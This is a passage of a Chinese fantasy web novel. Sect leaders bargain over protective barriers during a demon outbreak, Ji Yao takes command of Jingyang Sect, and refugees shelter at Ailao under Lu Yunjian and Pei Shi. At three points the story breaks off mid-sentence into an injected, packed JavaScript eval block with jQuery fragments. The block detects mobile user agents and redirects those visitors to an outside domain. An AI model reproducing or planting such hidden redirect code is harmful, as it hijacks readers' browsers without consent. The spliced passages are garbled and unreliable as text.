季繁洲拔剑挡在大殿外,一众弟子都被逼得节节后退,唯有他梗着脖子立在最前:“妖魔出世,你们不护着百姓反而自己逃跑,我镜阳宗暂且不追究你们失责,结果你们不仅拒开圣清结界,反而还押了传信弟子,跑到镜阳宗来寻衅滋事,你们是要反吗?!” 青云阁新任阁主是个趾高气扬的年轻人,闻言冷笑道:“如今镜阳宗宗主都死了,首席大弟子失踪,掌门令也不知下落,你们镜阳宗自身尚且难保,还空谈什么道义?” 神农门掌门老头也附和道:“季公子,非是我们不讲道理,镜阳宗如今让我们开启圣清结界,我们如何撑得住啊,这不是要我们的命吗……” “你们谈你们的道义,却让我们替你们卖命吗?!” “镜阳宗自身都难保,他日镜阳宗的圣清结界崩塌,先遭反噬的难道不是我们这些地方仙门吗?!” “镜阳宗护百姓、全道义,你们流芳百世,我们呢?!我们的死活有谁在乎!几百年后,还有谁会记得青云阁神农门,记得朗月阁青芜洲!” “功名属你们,我们便是灭了派,也只能自认倒霉,镜阳宗真是打得一手好算盘啊……” 季繁洲被劈头盖脸喷了半天,正欲再驳,却忽觉有人拍了拍自己的肩,回头一看,季瑶已从大殿出来,在他身后站了不知多久。 季繁洲张了张嘴,没能说出话来。 镜阳宗弟子纷纷为季瑶让路,她走上前,将季繁洲与众弟子挡在身后,声音仍是一贯的沉静清冷:“镜阳宗圣清结界稳定如常,不劳诸位费心。当务之急是各地方仙门依照承诺,开启圣清结界,共成千机阵,若是圣清结界出了纰漏,护不住这修真界,那门派存亡、身后之名又有何可论?” 青云阁阁主道:“季小姐说得轻松,可我们若是开启圣清结界,那便是把自己的性命豁出去,你镜阳宗能保住我们的命吗?妖魔出世,这世间千千万万人都得好好地活,凭什么要我们第一个卖命?” 季瑶道:“修真界诸门诸派平日受人供奉、为人景仰,理应承担护佑百姓之责,若临阵脱逃,便是枉有仙门之名。” 青云阁阁主道:“我们这些小门小派一年下来也得不了多少供奉,却要承担护佑修真界之责,季小姐可真是太抬举我们了。” 季瑶不愿再与他多作无意义的争辩,默然片刻,道:“沈阁主不妨直说,你青云阁要如何才能开启圣清结界?” “季小姐可算说到点子上了。”青云阁阁主微微一笑,“我们要求不高,只希望能开放镜阳宗结界,护着青云阁和神农门地界的百姓。” 季繁洲闻言瞪大了眼睛:“你有什么毛病啊,结界在仙门在,结界破仙门亡,把镜阳宗结界开放了你们是好过了,那镜阳宗呢?镜阳宗地界的百姓呢?!” 青云阁阁主笑道:“季公子此言差矣啊,我们只不过是请求镜阳宗开放结界,又不是要破镜阳宗的结界。再者说,我们平日里都受镜阳宗管辖,我们地界的百姓不就是镜阳宗的百姓吗?要说受供奉受景仰,除了云间世,镜阳宗可当得天下之最啊,不是更应以身作则护着百姓吗?” 神农门掌门道:“是啊季公子,再者说了,我们这些小仙门的结界破了那就是真完了,可镜阳宗不是还有禁阵吗……” 季繁洲愕然道:“你他大爷的还要开禁阵,你知道开禁阵什么意思吗……” 当即有人驳道:“季公子你怎么骂人啊,严掌门是你长辈,还有没有规矩了……” 季繁洲道:“这里是镜阳宗,你们到镜阳宗来撒野还问我懂不懂规矩,你他大爷再胡言乱语我……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521574|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季瑶一伸手,再度将季繁洲按了下去,随后转向神农门众人:“神农门呢?也要镜阳宗开放结界?” 神农门掌门见季瑶忽然转向自己,双腿险些一软,抹了把汗才道:“神、神农门应付不了那么多妖魔,只求镜阳宗能派遣一千名攻伐系修士前往神农门相助……” 镜阳宗一众弟子闻言哗然:“一千?!镜阳宗能入世除魔的攻伐系弟子统共才三千……” 季瑶尚未说话,又有镜阳宗弟子自山下奔上来,正是先前派遣出去的传信弟子。那弟子急急忙忙奔上来,瞧见青云阁和神农门众人,到嘴边的话又咽了回去。 季瑶道:“你只管报来。” 那弟子便道:“由于青云阁和神农门未开圣清结界,七玄门门主一人撑起东边的圣清结界,已然灵力不支、爆体而亡,东边的妖魔已经大批出世了!” 青云阁阁主闻言,笑容愈发灿烂:“季小姐,已经没有多少时间了。 “我已将青云阁的圣清结界阵法连在掌心,若是季小姐不肯答应我等的要求,我就会毁去阵法,届时就算是同归于尽,你镜阳宗也会比我青云阁先一步灭门! “还是说,镜阳宗当真如外界所传,掌门令已毁,开放不了结界?” 最后一声笑忽地卡在喉间,在众人都不及反应之际,青云阁阁主忽然直挺挺地倒了下去,字句揉碎了,含糊不清地混在自胸口喷涌而出的鲜血中。 他已然没有力气再说话,遑论毁去圣清结界阵法。 季瑶冷声道:“沈阁主慎言,否则我这剑再偏一寸,你就没有性命再多言了。” 众人如同被霹雳贯身,一时都愣在原地,无人觉出季瑶声音中愈加明显的颤抖。 “谁说镜阳宗无掌门,谁说镜阳宗无掌门令。” 季瑶缓步上前,立于人群正中,手中的银色令牌在日光之下几乎炫目,青碧色流转的“镜阳宗”三字熠熠生辉,令牌之上繁复生动的黑羽神鸟振翅欲出,羽翼之下的华光与天光相接无隙。 镜阳宗众弟子见此令牌,带头跪地领命。 “我乃镜阳宗代宗主季瑶,掌门令在此,违令者,格杀勿论!” 人群静默无声,季瑶定定望着妖魔四起的远处,朗声道:“传我掌门令,镜阳宗出两百名攻伐系弟子随我前往东边结界肃清妖魔,乌鳞卫前往各圣清结界阵法所在之处,如有人敢弃阵而逃,就地格杀,无需报我。” 季瑶将掌门令牌佩在腰间,握紧手中剑,再次转向早已乱成一团的青云阁和双腿发软的神农门众人:“诸位,可还有异议?” 不消一个时辰,青云阁与神农门便开启了圣清结界,七玄门的残部也继续撑起了圣清结界,流光溢彩的结界终于彻底严丝合缝地笼罩了镜阳宗大地。 然而此时才起的圣清结界极不稳定,只能勉强阻止妖魔继续出世,先前由于结界漏洞而趁机作乱的数只妖魔都未能被肃清,只能由修士一只一只地清理。 季瑶带领两百名镜阳宗弟子穿梭在狂乱的妖魔之间,心中的不安愈发沉重。 这些妖魔是三百二十年前随魔王身死而被封印于地底的,都是百年甚至千年长的妖魔,此时与其交手,已隐隐有些吃力,不知他日圣清结界破,妖魔尽数归世,修真界能抵挡多久。 即便联合另一个时空共对灾劫,又有几成胜率? 何况用于撕开时空裂缝的照灵骨仍下落不明。 季瑶咬着牙,几乎是麻木地提剑刺砍,直至黑压压阴云般的妖魔散去了大片,眼前不再有如雾瘴阻隔时,才停了手,喘了口气。 抬头去望镜阳宗的方向,无论是镜阳宗结界还是圣清结界都尚且稳定,才终于稍稍安了心。然而尚不等一口气松到底,便听不远处传来轰然一声响。 季瑶猛然转头望去,只见神农门的方向,圣清结界破口处如同天幕被撕裂,初时尚是一道细小的裂缝,而后逐渐扩张成一个洞口,一轮红日恰恰自洞口探出。 108. 圣清界 下一刻,支撑着神农门圣清结界的最后一道灵力骤然消失不见,无数扒在结界之外的妖魔鬼怪瞬时压了下来。 季瑶这才发现那并非什么红日,而是一只山鬼的血盆大口,齿间尚挂着惨白的碎肢,随着山鬼的动作而掉落在地。 离神农门最近的修士瞬时遭了殃,一时分不清是鲜血染红了沙尘还是沙尘混杂着鲜血,漫天血雾中,无数人的碎肢头颅迸溅开来,又轻易被碾成碎渣。 季瑶倏然回过神,猛地掷出一道灵光,将那山鬼逼退数丈,而后御剑急朝神农门的方向而去。 四处瘴气阻隔,开不得传送阵,尽管季瑶已尽力御剑行至最快,到达神农门时仍是无几人幸存,唯有掌门和几个弟子躲在临时开启的防御结界之下,逃过一劫。 神农门掌门似乎已然灵力不支,口吐鲜血晕厥过去,几个弟子要么悲极痛哭、不能自已,要么双腿发软、行走不得,季瑶只瞥了他们一眼,便抬手将圣清结界再度续上。 圣清结界一续,她便收了手,再度拔剑对上方才涌进来的妖魔。然而方一抬剑,心脏便猛然一震,体内汹涌不断的灵流有一瞬间几乎停止断绝,险些不能接续。 季瑶猛地抬头,见镜阳宗的圣清结界明灭一瞬,好在立刻便稳定下来,没有出错。 不远处又是轰然一声,七玄门方向的圣清结界倏然崩塌,毫无前兆,失去灵力的一瞬便崩碎瓦解。 另一个方向骤然也掀起了阵阵尖啸与惨叫,血雾,脑颅,断肢,碎肉…… 七玄门亡了。 季瑶来不及多想,一手支着神农门的圣清结界,另一手隔着浓重的瘴气将灵力源源不断地送往七玄门,企图再续接上一片圣清结界。然而镜阳宗的圣清结界又是猛然一震,季瑶忙调转方向,又将灵力送往镜阳宗。 可不待她的灵力稳定下来,一阵血腥气便涌上喉间,季瑶一时支撑不能,猛地咳出一口鲜血,手中的灵流却不曾断,也不曾减弱。 只凭她一人,最多只能撑住两方圣清结界,还有谁……还有谁能…… 季瑶几乎是茫然而急切地在脑中寻找一个应对之策,耳边嗡鸣声已然盖过了一切咆哮嘶吼。 还有谁? 思绪猛然被打断,季瑶低头看着自肩膀处贯出的一只狰狞利爪,蓦地失声。 她撤回一只输送灵力的手,扯断了贯穿肩膀的利爪,而后将手紧握成拳,猛地向身后砸去! 又一只大妖倒下了,可她也没有更多力气再去撑起圣清结界了。 季瑶绝望地收回了撑起神农门圣清结界的手,将所有灵力都传送给镜阳宗。 至少镜阳宗的圣清结界不能毁……若是毁了,千机阵三个阵眼毁了一个,圣清结界就真的完了…… 耳边一切都骤然静默无声,脑中只余空白一片,季瑶死死咬住牙,唯记得保持住源源不断的灵流,抵住镜阳宗的圣清结界。 不知过了多久,耳边才渐渐地又传来人声。 有人在喊,那声音里有惊愕,有激动,竟也有几分欣喜: “哀牢开圣清结界了!是云间世的陆小姐和归云仙君——” “跑啊!哀牢有结界,去哀牢啊!!” “赶紧御剑去哀牢,快上来——” 季瑶神智模糊地闻声抬头,见天边忽起了一道五彩华光,以极快的速度向此处蔓延,渐渐地代替神农门与七玄门,连接起了圣清结界。 圣清结界再度完整,季瑶收了手,发现镜阳宗的圣清结界也终于稳定下来。 除却先前涌入的妖魔,无数妖魔又被挡在了结界之外,即便数道利爪利齿在结界之上抓挠撕咬,也进入不得半寸。 遭受重创的众仙门无心也无力再留在镜阳宗地界诛杀妖魔,都铆足了劲往云间世与镜阳宗交界处的哀牢奔去。哀牢原是修真界人人避之不及的极凶极险之地,此时却成了众人为数不多的堪可避难之所。 哀牢群山常年雾瘴丛生,此时由于圣清结界笼罩,却骤然成了一方山清水秀的宝地,无论是云间世还是镜阳宗地界内受创的仙门与百姓,便都往哀牢逃去。 由于各处结界漏洞而涌入的大批妖魔仍在四处作乱,裴世在哀牢主山又设了一道防御结界,将妖魔挡在结界之外。 众人一到哀牢,便都急急忙忙地往主山上爬。 陆云笺早便御剑等在山腰,见有人上山来,便以扩音咒说道:“哀牢妖魔虽已因圣清结界而湮灭或沉寂,但机关术法与毒物之类仍在,诸位接下来的行动,务必遵我指示,如若不然,生死全凭天命,于我无责。请诸位暂于山脚等候,不要急于上山……” 话未说话,便听有人惊呼一声,陆云笺循声望去,便见不知哪个门派的一名弟子不慎触到了石壁上的某处机关,一道暗箭堪堪自他颈间擦过,虽只是一道血痕,那弟子却瞬间慌了神,攀着石壁的手一松,整个人栽了下去。 虽说这弟子还没爬多高,但山底下全是尖利碎石,谁知这一栽会不会栽出个什么好歹来? 一时不少人都惶然惊呼,却没有一个人敢贸然去营救。 那弟子大脑一片空白,一时什么防御招式都忘干净了,手脚在空中胡乱扑腾,下一刻却觉衣领被一道突如其来的力道攥住了,颤抖着往上一瞥,瞥见一张神色不悦的脸。 裴世提着那弟子的衣领,将他扔回山脚,顺道警告众人:“听见了吗?遵从指示,不要乱来。” 众人连忙点头,果然不敢再乱动。 陆云笺收回目光,继续道:“一炷香后,我会以灵力造出四道天梯,自主山山顶放下。 “你们从天梯登山,年轻有力气的上山顶,受了伤或是灵力不济的尽量上山腰,重伤不能动的留在山脚,还能打的攻伐系和防御系修士留在山脚的防御结界边缘。 “在天梯上不要多作停留,以最快的速度往上爬,爬不动的就地留下,不要逞强。” 有已经快到山腰的弟子问道:“刚刚我就想问了,为什么不能御剑?你自己能御剑上上下下,我们就非得爬梯子?” 陆云笺道:“没说不能御剑啊,你若是有这个本事,大可以试试。” 那弟子闻言咬咬牙,召出佩剑往半空一腾,然而空中虽没有瘴气,却仿佛有一道不可见的屏障相阻隔,腾了不到一丈,便觉呼吸不畅,浑身血液都好似停滞不动,遑论使用灵力。 那弟子甚至来不及收剑,便从剑上跌回了山腰,后背猛地撞上嶙峋山石,一时痛呼不止。 陆云笺不再理会旁人,径自御剑往山顶行去。 一炷香后,四道灵力化成的天梯自山顶从哀牢主山的四面放下,四方赶来的修士与百姓见天梯已成,都使出全力往上爬。 时过正午,最早到达哀牢的众人已尽数在哀牢主山安置下来,然而仍有源源不断的修士自镜阳宗地界赶来,其中七玄门众人伤得极重,仅有几人能堪堪爬上山腰,其余人都只能待在山脚。 先前灵力不支的神农门众人却爬得比谁都快,尤以掌门为先,短短一盏茶的工夫便到了山腰。然而神农门掌门虽然行动迅速,却终究是个年迈体衰的老头,先前又费了不少灵力,此时到了山腰,已是如何都爬不动了。 后头的人莫名被堵在半路,不知何故,有人高声喊道:“喂,前面怎么停了?往上爬啊!” “爬不动了就下去啊,别在梯子上堵着,后头这么多人都等着呢!” 离得近些的劝道:“是啊严掌门,您受了伤,要不就在山腰歇着吧,我们还得往上爬呢……” “严掌门您快些吧,陆小姐说了不能在天梯上停留太久的,您这样停着不动,谁知道会不会出什么意外啊……” 神农门掌门趴在天梯上喘着气,闻言冷笑道:“留在山腰?你们真以为她会护着留在下面的人?要是山腰山脚这么好,她自己为何要待在山顶?” 留在山腰的吞象阁阁主闻言也道:“我吞象阁虽属云间世管辖,却也知道人应当讲道理。陆云笺害了镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525938|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳宗的宗主和大师兄,裴世毁了同渊阁,又害了镇守溟海的神龙,这两人啊,都不是什么善人,诸位可莫要被他们寥寥几句话蒙骗了啊。” 留在山腰的另一个门派中有弟子高声驳道:“陆小姐和归云仙君救了我们一把,你们却在这说风凉话,要是山腰山脚不好,你自己干吗留在山腰?” 当即有吞象阁的弟子喝道:“哪来的乡野小儿?怎么跟我们掌门说话的!” 吞象阁阁主颇为大度地挥手叫本派弟子退下,笑回道:“若非为了开启圣清结界,我灵力受了重创,又如何会留在此处?若是我还能动用灵力,理当留在云间世地界支撑圣清结界,莫要说来哀牢了。” 又一人闻言冷笑道:“毕阁主大义啊,那吞象阁怎么不上云间世去,偏要绕着道跑来哀牢?莫不是弃阵而逃,怕陆尊主问罪吧?” “你……” 见上面的人半天没动,下头的人又喊道:“前面的人怎么还聊起来了,神农门走不走啊,你要死自己死行不行,别拖累我们!” 神农门大弟子闻言喝道:“你怎么说话的!我家掌门是支撑圣清结界的功臣,岂是你等无名宵小能够置喙的!” 话音刚落,山壁之上陡然出现了数只暗匣,不待众人反应,黑色羽箭便如疾风骤雨一般向众人射去! 有人不及防备,不慎中了几箭,却仍死死抓着天梯,连往下望都不敢,只噌噌往上爬,遇箭折箭遇人掀人,天梯上霎时乱成一片。 神农门众人顿时不敢再在天梯上多待,掌门由众弟子护着拼命往上爬,却是愈慌愈乱,险些连天梯都抓不住,后头又有无数人紧跟上来,随时有被掀下去的风险。 神农门掌门不自主地回头下望,明明才到半山腰,下头的嶙峋山石却尽数消失了,所见之处唯有不见底的万丈深渊,再多看一眼,便觉无尽黑暗中伸出了一只只利爪,直将自己往下猛拽。 神农门掌门顿时吓得险些尿了裤子,边颤抖着往上爬边喝道:“陆云笺!你——你还不速速将我们拉上去,这么多门派的掌门都在这,若是有什么闪失,你担待得起吗——陆云笺——” 急匆匆从后头爬上来的弟子不容他再喊,只知此人趴在前头碍事得很,正欲拽着他的腿把这碍事的东西往下拖,却有人先他一步,一脚踩上神农门掌门攀住天梯的手。 下方的暗箭匣不知何时已然停止了攻击,来人又是一剑,数道暗箭便齐齐被斩断,坠下山崖,暗箭匣也尽数隐入山壁,恢复如初。 想去拽神农门掌门的人登时撤了手:“归云仙君……” 眼前的人杀戮之气太重,或许是刚去诛灭了在哀牢主山附近徘徊的妖魔,戾气尚未散尽,因此虽知道若不是他,天梯上众人恐怕活下来都够呛,却仍是不敢多有动作。 神农门掌门一只手被碾得几乎筋骨尽断,另一手仍死死拽着天梯,勉强开口:“裴世……你一个师出无门的下贱东西……你敢……他日众仙门定然……” “无需他日,今日我的名姓就已经写满各大门派的缉拿令了。”裴世笑道,“我一个被钉死为仙门公敌的人,既无责任救你们的性命,更无必要留着你这种人。” 裴世目光一转,对下方的神农门大弟子道:“你们神农门有此等掌门,怕是一辈子也别想有所成了。趁早换个掌门吧。”说着抬脚一踹,无需多用力,神农门掌门便直直从天梯上跌了下去。 大弟子转头唤道:“掌门——” 然而下方深渊万丈,无人知晓深渊之下又是什么,神农门掌门的惨叫一路下坠,直至被黑暗彻底吞没,全然没有别的声响。 “别掌门了。”裴世立在天梯上,手中归云剑剑尖直指神农门大弟子,“你呢?打算滚还是死?我可以帮你选。” 神农门大弟子转回头,恨恨地瞪了他一眼,往上爬去了。 裴世再度御剑停在半空,冷冷瞥过吞象阁众人,道:“我就在这里盯着你们,若是还有谁敢乱来,大可看看神农门掌门。” 109. 惟愿安 时过黄昏,夜色逐渐洇染开来时,众修士与百姓才尽数上了哀牢主山,圣清结界趋于稳定,哀牢防御结界也坚固如常,足以抵挡妖魔入侵。 众人在山上驻扎下来,往日幽黑无人的哀牢多添了点点火光,时而有人交谈走动,竟平添了几分热闹,让人易生出些如今仍如从前一般安宁无事的错觉来。 裴世不愿从众人驻扎之处走,便直接御剑上了山顶,陆云笺已在山顶坐了一日,独自一人支撑着圣清结界。 陆云笺见着一点金光由远及近,而后停在自己面前,终于多了些笑意:“回来啦,外头怎么样?” 裴世收了剑,径直走到陆云笺身边坐下:“附近作乱的妖魔都杀干净了,云间世和镜阳宗境内分别还有一些,估计明日他们也能处理完了。” “那山上这些人呢?安分没?” “还成,这几个门派保命倒是一把好手,在山壁上生生凿了几个山洞,都躲在里头。” 山顶仍是无草无木,光秃秃的山石之间的风格外冷,裴世正欲开个御寒结界,却被陆云笺阻住了:“我不冷,你别浪费灵力了。你不熟悉哀牢的环境,法术使多了可是要遭到反噬的。” 见裴世又转头去看什么,陆云笺头也不回,又道:“那个山洞里的妖魔虽然死绝了,但是毒虫毒草什么的多得很,一不留神就中招了。” 裴世又道:“你歇会儿,我来。” 陆云笺笑道:“刚说了不要用灵力,都当耳边风了?再说了,你又不知道圣清结界的阵法,若是非要来开圣清结界,岂不是浪费归云仙君的大好灵力啦?” “那你教……”刚出口的话忽然被通讯打断,裴世的脸瞬时便黑了下来。 陆云笺偏头瞥了一眼裴世手中的通讯符,又收回了目光。 裴世闷声道:“无津大师。今日从镜阳宗转移来的一批百姓中有几人原属怜生寺地界,只是短暂滞留在镜阳宗,那老秃驴应其家人要求,来将他们带回怜生寺,让我打开防御结界,放他进山。” “见了鬼了。”陆云笺道,“往日里若是这种事,那秃驴无非是派几个弟子来接人,这回怎么是他亲来?” 裴世却忽然不作声了,过了一会儿才道:“我先下山看看。” 身旁的人又离开了,连带着周遭温度都彻底冷了下来。 陆云笺的笑意凝在脸上,仿佛与将要漫上来的无极黑夜一同死去了,压入心底不过片刻的茫然与无措再度气势汹汹地翻腾上来。 圣清结界光明璀璨,却薄得如同蝉翼,仿佛再过片刻,沉重夜色压下来,就会毫无征兆地破碎瓦解。 哀牢山顶的风,终是有些冷的。 陆云笺默然端坐在地,不知时光悄无声息地走了多久,不远处忽然传来一阵轻微脚步声。 裴世在通往山顶的路上设了一道结界,一般人本就难以登上山顶,更不可能随意通过那道结界,来的是谁? 陆云笺偏头望去,却是微微一怔:“柳娘?” 柳娘穿着粗简厚重,眉眼之间早已没了往日的神采,唯有在见到陆云笺时,疲惫的阴霾才稍稍散开了些许:“云笺,你们几天没吃东西了吧?我给你们带了些小糕点,好歹先垫垫。” 陆云笺却先注意到了另一事:“柳娘,你腿受伤了?” 说着正欲起身去扶,柳娘却摇摇头,跛着脚走到陆云笺身边坐下:“就扭了一下,不碍事。有几个靠近山顶的仙门挺好,愿意让我们和他们待在一个山洞里,还给了一些药,用不了多久就能好了。” 陆云笺道:“什么药?” 柳娘便将药瓶拿出来给陆云笺,陆云笺细细察看了,确认是普通的金创药,这才又将药瓶给了柳娘。 柳娘接了药瓶,又从怀中拿出一只包得严严实实的纸包,打开来,里头盛着几块白花花的糕点,纸包包得很紧,一路奔波而来,糕点也并未碎掉:“还没冷,怕你觉得干,还带了点儿茶水来……”说着扫了一眼四周,“小裴呢?” 陆云笺道:“他有点事要办,下山去了。” 柳娘闻言不再多问,只将糕点递给陆云笺,道:“小裴来接我们时,走得匆忙,我没什么东西好拿的,就拿了这包糕点还有……” 柳娘手中一直捧着一方简陋老旧的木匣,边缘已然掉了漆,露出几乎要朽掉的原貌来。 陆云笺认得那正是母亲的衣冠冢中埋葬的木匣,也自然知道里头放的是什么,但只默然接过来放在身边,将上头的尘土细细拂净,并没有打开。 柳娘抬头望向熠熠生辉的圣清结界,叹道:“这是叫‘结界’?和你们设在眉阳村的一样,都真漂亮啊……” 陆云笺拿了一小块糕点放在口中,剩下的又重新包好,闻言也望向了夜空中绵延万里的屏障。 柳娘看了一会儿,叹了口气,道:“云笺,你果然还是要护着这修真界……可这些人真值得你护吗?我一路走来,听见他们都在议论你和小裴的不是,说你们人面兽心,说你们虚情假意……真的值得吗?” “若是单单为了他们,自然是不值。” 陆云笺不自知地摩挲着老旧的木匣,轻轻闭了闭眼,却没有再说此事,而是道:“柳娘,你听我说。 “圣清结界终有一天会溃散瓦解,我不知道先瓦解的会是云间世还是哀牢,但云间世不会护你们,而我会极尽我能护好眉阳村的人。 “如果有一天,哀牢结界破,而云间世尚有一息,你们就回到我和裴世为你们在云间世结界之内安排的住处,而哀牢的这些人,我们也会设法将他们送到云间世结界内。 “若是哪天遇上了什么危险,而我和裴世都不在,你们不要多管旁人,一定要先护好自己。” 这头陆云笺神情沉重、言辞肃然,那头柳娘却忽然笑了:“怎么了呢?还有我们家云笺解决不了的事情么?” 陆云笺摩挲着木匣的手一顿:“……” 柳娘笑着笑着,忽然一把将陆云笺拉进怀里,像陆云笺幼时一般,轻轻抚着她的后背:“云笺,我们也只希望你好好的……我们家云笺现在是护着仙门百家的最伟大的仙君,我们原当是要骄傲自豪的……” 陆云笺的手顿了很久,才小心翼翼地抚上柳娘的背脊。 这样的温度与姿态已然十分陌生,却隔着重重岁月忽地将她淹没,过往扑面而来,却终于不是沉重,而是久违地像拥住了一抹暖阳。 陆云笺忽然瞥见柳娘盘起的黑发中的一缕银丝,藏得那样好,以至于隔得如此之近,她才终于发现。 “你小时候就很厉害,那时候我总跟昔燕说,让你去仙门修炼修炼,不要浪费了好天赋。 “但昔燕总是说,仙门水深,只希望你好好长大,一辈子都不要涉足仙门。如今再想,我才终于明白了昔燕的意思。 “你分明才二十岁,原该无忧无虑地度过此生,可一进仙门,那么多人恭恭敬敬地唤你‘陆小姐’,可灾劫来临时却没什么人愿意帮你,那些躲在这儿受你庇护的仙门,都在背后指指点点。 “我总是想劝你,累了就歇一会儿,可你若歇了,这些结界法术,这些仙门弟子,又能撑多久?每当这个时候,我就又不赞同昔燕的想法了。 “昔燕说,学法术为了救人或为了自保都是好的。如今我却只希望你自保,又或者,从一开始就不要入仙门,与其救这些没良心的东西,倒不如从一开始就不要与他们掺和。 “说到底,我只是个凡人,没什么济世救人的大志,我从来都只想自私地祈求那么几个人平安快乐就好。 “所以……云笺,你能不能答应我,如果坚持不下去,或者不想坚持了,就随时放弃,不要硬撑,我们永远都会在原处等你。好么?” 陆云笺轻轻靠在柳娘肩上,闭上眼,轻声笑道:“我也不是有什么济世救人大志的好人,只是忽然想起来,小时候逢年过节,我们都会缩在一块儿,看别人家放烟火。 “小时候我觉着,用银子换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531497|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种咻地一下就没了的东西也太不值当了,但不值当归不值当,好看却真挺好看的。 “所以其实我很期待过节的时候,越过眉阳山山头,看见一点亮光咻地一声飞上夜空,再砰地一声炸开,星星点点落下来,没准哪一点就落在了脚边。 “如今我有好些年没好好地看过一场烟火了,若是修真界毁了,这世间的一切都被夷为平地,那就真的再也看不到了。 “我想等这世间安定下来,好好地、认认真真地,像好些年前和我娘、和你们一起一样,看一看万家灯火、清平人间。 “我对另一个人所作的承诺,也是如此。” 待裴世见完无津大师、再度回到山顶时,柳娘已经离开,圣清结界也终于彻底稳定,陆云笺站起身来,正在活动筋骨。 裴世的脚步很轻,陆云笺便配合地装作不曾看见他,直到肩上一重,才故作惊讶道:“裴世?!你什么时候回来的?” 裴世轻轻一牵嘴角,正欲说话,陆云笺却先一步道:“这床被子哪儿来的?看不出来啊小柿子,你喜欢这种花纹?” 陆云笺说着将被子裹紧,大红底鸳鸯戏水的花纹便愈发显眼。 裴世一噎,忙辩解道:“怜生寺百姓为表感谢,凑了一床被子送给我们,哀牢山顶冷,我就将被子留下来了。” “这可巧了,柳娘方才送了些糕点过来,这下吃穿不愁了。”陆云笺将纸包又拿出来,“柳娘最擅长做这糕点,很甜,都留给你。” 裴世接过来,放了一块在口中,浓烈的甜刹那间席卷了唇舌,像是滋生出了一场令人眩晕的美梦,片刻后才猛然反应过来,这甜味其实非常熟悉—— “苦尽甘来”糖的甜,除却强化的法咒,与这糕点一模一样。 果不其然,下一刻陆云笺便开始翻找乾坤袋,翻出了一堆绿得发黑的药草,裹了一小块糕点便送到口中,还贴心地问了裴世一句:“这药草提神醒脑有奇效,我刚刚特意去薅的,你要不要?” 药草还没到嘴边,裴世却仿佛先一步体会到了苦涩滋生出的眩晕,眼前一阵发黑,“不”字到了嘴边,才发现自己早已先一步伸手接过了药草。 陆云笺笑道:“没想到你也喜欢这个,早知就再做些‘苦尽甘来’糖了。” 裴世默然片刻,英勇就义一般,将所有药草都送入了口中。好在他站得离一块巨石近,即便苦得发晕,也不至于倒地不起。 恍惚间听见陆云笺道:“你觉得哀牢的圣清结界能撑多久?” 裴世抬起眸,从陆云笺眸中看见了流光璀璨的圣清结界。 粲然华光为她的眼眸镀上了一层溢彩的亮色,然而这一层亮色却像是云雾,无端显得有些迷惘。 陆云笺道:“恢复记忆前,我竭尽全力以意识告知那时的我一个阵法,所幸她信我所说,回到云间世,花费半月布下了一个简易阵法。 “我本以为圣清结界最先出纰漏的地方会在云间世,因此那个阵法,相当于将云间世的圣清结界映射到了哀牢,若是圣清结界不全,阵法就会自动启动,哀牢便会打开圣清结界,补全这一道万里防御结界。 “后来我将那个阵法加以完善,随时准备在哀牢开启结界,顶替云间世。然而却不曾想到最先出纰漏的是镜阳宗……这样一来,原本就难以支撑的圣清结界能撑住的时间怕是更短。” 不待裴世说话,陆云笺先一步收回了目光,掐断了先前的话,转而道:“那照翎族的魂魄存世三百二十年都未消散,参世仙人仙逝前,尚可说是仙人保住了他的魂魄,可如今参世仙人逝世已有十一年,他五感都渐趋丧失,为何还未魂飞魄散?” 陆云笺抬起一指在脖颈间抹过,正是妖魔出世那日,照翎族做出的动作。 “有什么东西,‘缝合’住了他的魂魄?” 裴世闭了闭眼,道:“参世仙人利用照灵骨制成的神器,是一把二十三弦竖箜篌。缝合住那照翎族残魂的,是一根箜篌琴弦。” 110. 非此身 陆云笺道:“可我记得你说过,参世仙人在与魔王一战中受了重伤,倘若仙人要造出一件他认为可以挽救尘世灾劫的神器,那么灵力耗费必然巨大。 “我不清楚参世仙人究竟是怎样一个人,但如若是我,我绝不会将耗费如此之多心力、具有如此力量的神器的一部分——尽管只是一根琴弦,交与一个可能会颠覆修真界的残魂。 “照翎族被云间世所灭,任谁来想,都会觉得如若有照翎族能留下来,一定不会轻易放过云间世、放过修真界。参世仙人又有理由可以信任他吗?” 裴世道:“所以并非是参世仙人用琴弦缝合了他的魂魄,而是他自己盗走的。” “自己盗走?” “方才我去见无津大师,他与我说那琴弦是那照翎族自己盗走的,但我更倾向于,是有人偷了一根琴弦,给了那照翎族,与他做了一笔交易。” 陆云笺喃喃:“无津大师……” 